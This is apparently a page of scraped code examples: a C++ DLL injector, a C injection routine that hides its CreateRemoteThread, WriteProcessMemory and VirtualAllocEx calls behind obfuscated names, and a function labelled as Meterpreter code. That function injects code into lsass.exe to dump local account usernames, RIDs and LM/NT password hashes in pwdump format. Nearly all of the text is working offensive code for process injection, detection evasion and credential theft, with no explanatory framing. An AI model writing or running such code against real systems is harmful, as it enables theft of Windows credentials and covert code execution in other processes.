void DllInjector::inject_into_pid(int pid)
{
	if (!file_exists(dll_path))
		throw std::runtime_error("File '" + dll_path + "' does not exist!");

	HANDLE process = open_process(pid);
	void* memory_ptr = allocate_process_memory(pid, process);
	write_process_memory(pid, process, memory_ptr);
	HANDLE thread = create_remote_thread(pid, process, memory_ptr);
	run_thread(thread);
}
Esempio n. 2
0
int inject_library_obf(HANDLE process, const wchar_t *dll,
		const char *create_remote_thread_obf, uint64_t obf1,
		const char *write_process_memory_obf, uint64_t obf2,
		const char *virtual_alloc_ex_obf,     uint64_t obf3,
		const char *virtual_free_ex_obf,      uint64_t obf4,
		const char *load_library_w_obf,       uint64_t obf5)
{
	int ret = INJECT_ERROR_UNLIKELY_FAIL;
	DWORD last_error = 0;
	bool success = false;
	size_t written_size;
	DWORD thread_id;
	HANDLE thread;
	size_t size;
	void *mem;

	/* -------------------------------- */

	HMODULE kernel32 = GetModuleHandleW(L"KERNEL32");
	create_remote_thread_t create_remote_thread;
	write_process_memory_t write_process_memory;
	virtual_alloc_ex_t virtual_alloc_ex;
	virtual_free_ex_t virtual_free_ex;
	FARPROC load_library_w;

	create_remote_thread = get_obfuscated_func(kernel32,
			create_remote_thread_obf, obf1);
	write_process_memory = get_obfuscated_func(kernel32,
			write_process_memory_obf, obf2);
	virtual_alloc_ex = get_obfuscated_func(kernel32,
			virtual_alloc_ex_obf, obf3);
	virtual_free_ex = get_obfuscated_func(kernel32,
			virtual_free_ex_obf, obf4);
	load_library_w = get_obfuscated_func(kernel32,
			load_library_w_obf, obf5);

	/* -------------------------------- */

	size = (wcslen(dll) + 1) * sizeof(wchar_t);
	mem = virtual_alloc_ex(process, NULL, size, MEM_COMMIT,
			PAGE_EXECUTE_READWRITE);
	if (!mem) {
		goto fail;
	}

	success = write_process_memory(process, mem, dll,
			size, &written_size);
	if (!success) {
		goto fail;
	}

	thread = create_remote_thread(process, NULL, 0,
			(LPTHREAD_START_ROUTINE)load_library_w, mem, 0,
			&thread_id);
	if (!thread) {
		goto fail;
	}

	if (WaitForSingleObject(thread, 4000) == WAIT_OBJECT_0) {
		DWORD code;
		GetExitCodeThread(thread, &code);
		ret = (code != 0) ? 0 : INJECT_ERROR_INJECT_FAILED;

		SetLastError(0);
	}

fail:
	if (ret == INJECT_ERROR_UNLIKELY_FAIL) {
		last_error = GetLastError();
	}
	if (thread) {
		CloseHandle(thread);
	}
	if (mem) {
		virtual_free_ex(process, mem, 0, MEM_RELEASE);
	}
	if (last_error != 0) {
		SetLastError(last_error);
	}

	return ret;
}
Esempio n. 3
0
/*!
 * @brief Function driving the SAM dumping.
 * @param dwMillisecondsToWait How long to wait for the results before giving up.
 * @param hashresults Pointer that will receive the hash dump results.
 * @returns Indication of success or failure.
*/
DWORD __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults)
{
	HANDLE hThreadHandle = NULL, hLsassHandle = NULL, hReadLock = NULL, hFreeLock = NULL;
	LPVOID pvParameterMemory = NULL, pvFunctionMemory = NULL;
	DWORD_PTR dwFunctionSize;
	SIZE_T sBytesWritten = 0, sBytesRead = 0;
	DWORD dwNumberOfUsers = 0, dwCurrentUserIndex = 0, HashIndex = 0;
	FUNCTIONARGS InitFunctionArguments, FinalFunctionArguments;
	USERNAMEHASH *UsernameHashResults = NULL;
	PVOID UsernameAddress = NULL;
	DWORD dwError = 0;
	char *hashstring = NULL;

	/* METERPRETER CODE */
	char buffer[100];
	/* END METERPRETER CODE */

	do
	{

		/* ORANGE control input - move this to the client perl side */
		if (dwMillisecondsToWait < 60000)
		{
			dwMillisecondsToWait = 60000;
		}
		if (dwMillisecondsToWait > 300000)
		{
			dwMillisecondsToWait = 300000;
		}

		/* create the event kernel sync objects */
		hReadLock = CreateEvent(NULL, FALSE, FALSE, READ_SYNC_EVENT_NAME);
		hFreeLock = CreateEvent(NULL, FALSE, FALSE, FREE_SYNC_EVENT_NAME);

		if (!hReadLock || !hFreeLock)
		{
			dwError = GetLastError();
			break;
		}

		/* calculate the function size */
		if ((DWORD_PTR)dump_sam >= (DWORD_PTR)sizer)
		{
			dprintf("Error calculating the function size.");
			dwError = ERROR_INVALID_PARAMETER;
			break;
		}

		dwFunctionSize = (DWORD_PTR)sizer - (DWORD_PTR)dump_sam;

		if ((dwError = set_access_priv()) != ERROR_SUCCESS)
		{
			dprintf("Error setting SE_DEBUG_NAME privilege: %u (%x)");
			break;
		}

		hLsassHandle = get_lsass_handle();
		if (hLsassHandle == 0)
		{
			dwError = ERROR_INVALID_PARAMETER;
			dprintf("Error getting lsass.exe handle.");
			break;
		}

		/* set the arguments in the context structure */
		if ((dwError = setup_dump_sam_arguments(&InitFunctionArguments, dwMillisecondsToWait)) != ERROR_SUCCESS)
		{
			dprintf("[PASSWD] Unable to set arguments %u (%x)", dwError, dwError);
			break;
		}

		/* allocate memory for the context structure */
		pvParameterMemory = VirtualAllocEx(hLsassHandle, NULL, sizeof(FUNCTIONARGS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (pvParameterMemory == NULL)
		{
			dwError = GetLastError();
			dprintf("[PASSWD] Failed to allocat memory %u (%x)", dwError, dwError);
			break;
		}

		/* write context structure into remote process */
		if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &sBytesWritten) == 0)
		{
			dwError = GetLastError();
			dprintf("[PASSWD] Failed to write process memory for function args %u (%x)", dwError, dwError);
			break;
		}
		if (sBytesWritten != sizeof(InitFunctionArguments))
		{
			dwError = 1;
			break;
		}
		sBytesWritten = 0;

		/* allocate memory for the function */
		pvFunctionMemory = VirtualAllocEx(hLsassHandle, NULL, dwFunctionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (pvFunctionMemory == NULL)
		{
			dwError = GetLastError();
			dprintf("[PASSWD] Failed to allocate process memory %u (%x)", dwError, dwError);
			break;
		}

		/* write the function into the remote process */
		if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dump_sam, dwFunctionSize, &sBytesWritten) == 0)
		{
			dwError = GetLastError();
			dprintf("[PASSWD] Failed to write process memory for function body %u (%x)", dwError, dwError);
			break;
		}

		if (sBytesWritten != dwFunctionSize)
		{
			dwError = 1;
			break;
		}
		sBytesWritten = 0;

		/* start the remote thread */
		if ((hThreadHandle = create_remote_thread(hLsassHandle, pvFunctionMemory, pvParameterMemory)) == NULL)
		{
			dwError = GetLastError();
			dprintf("[PASSWD] Failed to create remote thread %u (%x)", dwError, dwError);
			break;
		}

		/* wait until the data is ready to be collected */
		if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0)
		{
			dwError = GetLastError();
			dprintf("[PASSWD] Timed out waiting for the data to be collected: %u (%x)", dwError, dwError);
			break;
		}

		/* read results of the injected function */
		if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &sBytesRead) == 0)
		{
			dwError = GetLastError();
			dprintf("[PASSWD] Failed to read process memory to get result: %u (%x)", dwError, dwError);
			break;
		}
		if (sBytesRead != sizeof(InitFunctionArguments))
		{
			dwError = 1;
			break;
		}
		sBytesRead = 0;

		/* allocate space for the results */
		UsernameHashResults = (USERNAMEHASH *)malloc(FinalFunctionArguments.dwDataSize);
		if (UsernameHashResults == NULL)
		{
			dwError = 1;
			break;
		}

		/* determine the number of elements and copy over the data */
		dwNumberOfUsers = FinalFunctionArguments.dwDataSize / sizeof(USERNAMEHASH);

		/* copy the context structure */
		if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &sBytesRead) == 0)
		{
			dwError = GetLastError();
			dprintf("[PASSWD] Failed to read process memory to get hashresults: %u (%x)", dwError, dwError);
			break;
		}
		if (sBytesRead != FinalFunctionArguments.dwDataSize)
		{
			break;
		}
		sBytesRead = 0;

		// save the old mem addy, malloc new space, copy over the data, free the old mem addy
		for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++)
		{
			UsernameAddress = UsernameHashResults[dwCurrentUserIndex].Username;

			UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length + 1);
			if (UsernameHashResults[dwCurrentUserIndex].Username == NULL)
			{
				dwError = 1;
				break;
			}

			if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0)
			{
				dwError = 1;
				break;
			}
			if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length)
			{
				dwError = 1;
				break;
			}
			UsernameHashResults[dwCurrentUserIndex].Username[UsernameHashResults[dwCurrentUserIndex].Length] = 0;
		}

		/* signal that all data has been read and wait for the remote memory to be free'd */
		if (SetEvent(hFreeLock) == 0)
		{
			dwError = 1;
			break;
		}
		if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0)
		{
			dprintf("The timeout hit.\n");
			dwError = 1;
			break;
		}

		/* display the results and free the malloc'd memory for the username */
		for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++)
		{

			/* METERPRETER CODE */
			hashstring = string_combine(hashstring, UsernameHashResults[dwCurrentUserIndex].Username);
			hashstring = string_combine(hashstring, ":");
			_snprintf_s(buffer, sizeof(buffer), 30, "%d", UsernameHashResults[dwCurrentUserIndex].RID);
			hashstring = string_combine(hashstring, buffer);
			hashstring = string_combine(hashstring, ":");
			/* END METERPRETER CODE */

			//printf("%s:%d:", UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].RID);
			for (HashIndex = 16; HashIndex < 32; HashIndex++)
			{
				/* ORANGE - insert check for ***NO PASSWORD***
					if( (regData[4] == 0x35b4d3aa) && (regData[5] == 0xee0414b5)
					&& (regData[6] == 0x35b4d3aa) && (regData[7] == 0xee0414b5) )
					sprintf( LMdata, "NO PASSWORD*********************" );
					*/
				_snprintf_s(buffer, sizeof(buffer), 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
				hashstring = string_combine(hashstring, buffer);
				//printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
			}
			hashstring = string_combine(hashstring, ":");
			//printf(":");
			for (HashIndex = 0; HashIndex < 16; HashIndex++)
			{
				/* ORANGE - insert check for ***NO PASSWORD***
					if( (regData[0] == 0xe0cfd631) && (regData[1] == 0x31e96ad1)
					&& (regData[2] == 0xd7593cb7) && (regData[3] == 0xc089c0e0) )
					sprintf( NTdata, "NO PASSWORD*********************" );
					*/
				_snprintf_s(buffer, sizeof(buffer), 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
				hashstring = string_combine(hashstring, buffer);
				//printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
			}

			hashstring = string_combine(hashstring, ":::\n");
			//printf(":::\n");
		}
	} while (0);

	/* relesase the event objects */
	if (hReadLock)
	{
		CloseHandle(hReadLock);
	}
	if (hFreeLock)
	{
		CloseHandle(hFreeLock);
	}

	/* close handle to lsass */
	if (hLsassHandle)
	{
		CloseHandle(hLsassHandle);
	}

	/* free the context structure and the injected function and the results */
	if (pvParameterMemory)
	{
		VirtualFreeEx(hLsassHandle, pvParameterMemory, sizeof(FUNCTIONARGS), MEM_RELEASE);
	}
	if (pvFunctionMemory)
	{
		VirtualFreeEx(hLsassHandle, pvFunctionMemory, dwFunctionSize, MEM_RELEASE);
	}

	/* free the remote thread handle */
	if (hThreadHandle)
	{
		CloseHandle(hThreadHandle);
	}

	/* free the results structure including individually malloced space for usernames */
	if (UsernameHashResults)
	{
		for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++)
		{
			if (UsernameHashResults[dwCurrentUserIndex].Username)
			{
				free(UsernameHashResults[dwCurrentUserIndex].Username);
			}
		}
		free(UsernameHashResults);
	}

	/* return hashresults */
	*hashresults = hashstring;

	/* return the correct code */
	return dwError;
}